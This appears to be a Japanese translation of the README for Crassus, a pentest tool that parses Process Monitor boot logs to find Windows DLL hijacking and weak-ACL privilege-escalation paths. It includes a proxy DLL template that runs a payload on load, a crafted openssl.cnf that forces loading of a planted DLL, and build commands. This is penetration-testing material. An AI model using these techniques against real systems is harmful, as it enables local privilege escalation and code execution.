
Windows権限昇格発見ツール。Process Monitorのブートログを解析して、DLLハイジャック、弱いACL、その他の権限昇格経路を特定し、プロキシDLLのソースコードを自動生成します。
Enable Boot Logging オプションを選択します。

raw.PML)。Ctrl-R を使用して、デフォルトの Process Monitor フィルターをリセットします。boot.PML)。Crassus.exe boot.PML を実行します。results.csv 内の対応するエントリを調査します。Accenture は Spartacus というツールを作成しました。このツールは Windows 上で DLL ハイジャックの機会を見つけます。Spartacus を出発点として、私たちは Crassus を作成し、単に欠落ファイルを探すだけでなく、Windows の権限昇格発見機能を拡張しました。特権プロセスが使用するファイルやディレクトリの ACL は、目的を達成するために欠落ファイルを探すよりも多くのことを見つけられます。
…しかし、Crassus は SysInternals Process Monitor を利用し、生の PML ログファイルを解析するという点でひねりがあります。典型的な使用法は、Process Monitor を使用してブートログを生成し、それを Crassus で解析することです。また、脆弱な DLL の関連するすべてのエクスポートを含むプロキシ DLL のソースコードも自動的に生成します。
version.dll を介した DLL ハイジャックに対して脆弱な場合、Crassus はすべてのエクスポートを含む version.cpp と version.def ファイルを作成します。デフォルトでは、プロキシ DLL は calc.exe を起動します。Visual Studio または MinGW で DLL をビルドするためのビルドスクリプトが含まれています。Crassus がどのように動作するかのおおまかな流れは、次のフローチャートにまとめられています。






Crassus は Visual Studio 2019 プロジェクトとして開発されました。Crassus.exe をビルドするには:
Crassus.sln を開きます。Ctrl+Shift+B を押します。他の人のコードが何をするかわからなくても実行しても構わないのであれば、Crassus.exe はこのリポジトリに用意されています。
Enable Boot Logging オプションを選択します。

Ctrl-R を使用して、デフォルトの Process Monitor フィルターをリセットします。boot.PML)。ログファイルを再保存する理由は 2 つあります。
| 引数 | 説明 |
|---|---|
<PMLFILE> | 既存の ProcMon イベントログファイルの場所(ファイル)。 |
--verbose | 詳細な出力を有効にします。 |
--debug | デバッグ出力を有効にします。 |
boot.PML に保存された Process Monitor ブートログを解析します。脆弱なパスはすべて results.csv として保存され、すべてのプロキシ DLL ソースファイルは stubs サブディレクトリに保存されます。
C:\tmp> Crassus.exe boot.PML
以下は、プロキシ DLL を生成する際に使用されるテンプレートです。Crassus によって発見された DLL の場合、プロキシ DLL には %_EXPORTS_% で指定されたものと同じエクスポート名と、.def ファイルで指定されたものと同じ序数が含まれます。Crassus は、親プロセスのアーキテクチャを調べ、それに応じて %_BUILD_AS_% フィールドにソースコードをタグ付けすることで、DLL を 32 ビットライブラリとしてビルドするか 64 ビットライブラリとしてビルドするかを検出します。
Process Monitor ログから実際の DLL が見つからない場合、またはエクスポート名に問題がある場合、ビルドスクリプトはエクスポートが指定されていない DLL を作成することにフォールバックします。
#pragma once
//%_BUILD_AS%
#include <windows.h>;
extern "C" {
VOID Payload() {
// ここにペイロードを実行します。
WinExec("calc.exe", 1);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
Payload();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
#ifdef ADD_EXPORTS
%_EXPORTS_%
#endif
}
OPENSSLDIR 変数の値を安全でない方法で使用するアプリケーションの場合、細工された openssl.cnf ファイルを指定された場所に配置できます。この例では、ソフトウェアは C:\tmp\calc.dll を読み込みます。32 ビットプロセスをターゲットにする場合は 32 ビットライブラリを、64 ビットプロセスをターゲットにする場合は 64 ビットライブラリを使用してください。
[openssl_init]
# これにより、OpenSSL 初期化の一部としてファイル c:\tmp\calc.dll の読み込みが試みられます。
# ビルドスクリプトは、calc.dll ライブラリを 32 ビットまたは 64 ビットのどちらでビルドする必要があるかを検出する必要があります。
/tmp/calc = asdf
Visual Studio に含まれる cl.exe バイナリを使用してコンパイルできます。具体的には:
cl.exe /DADD_EXPORTS /D_USRDLL /D_WINDLL <target>.cpp /LD /Fe<target>.dll /link /DEF:<target>.def
ライブラリを 64 ビットにするか 32 ビットにするかの指定を含め、ビルドプロセスを自動化するには:
build.bat スクリプトを使用して DLL をビルドします。.dll 以外で終わる場合は、必要に応じてコンパイルされたファイルの名前を変更します。注: vcvarsall.bat の残念な動作(間違いなくバグではない)により、同じ Visual Studio 開発者コマンドプロンプトセッションで build.bat を複数回実行しようとすると問題が発生する可能性があります。エラーが発生した場合は、ウィンドウを閉じて再度起動してください。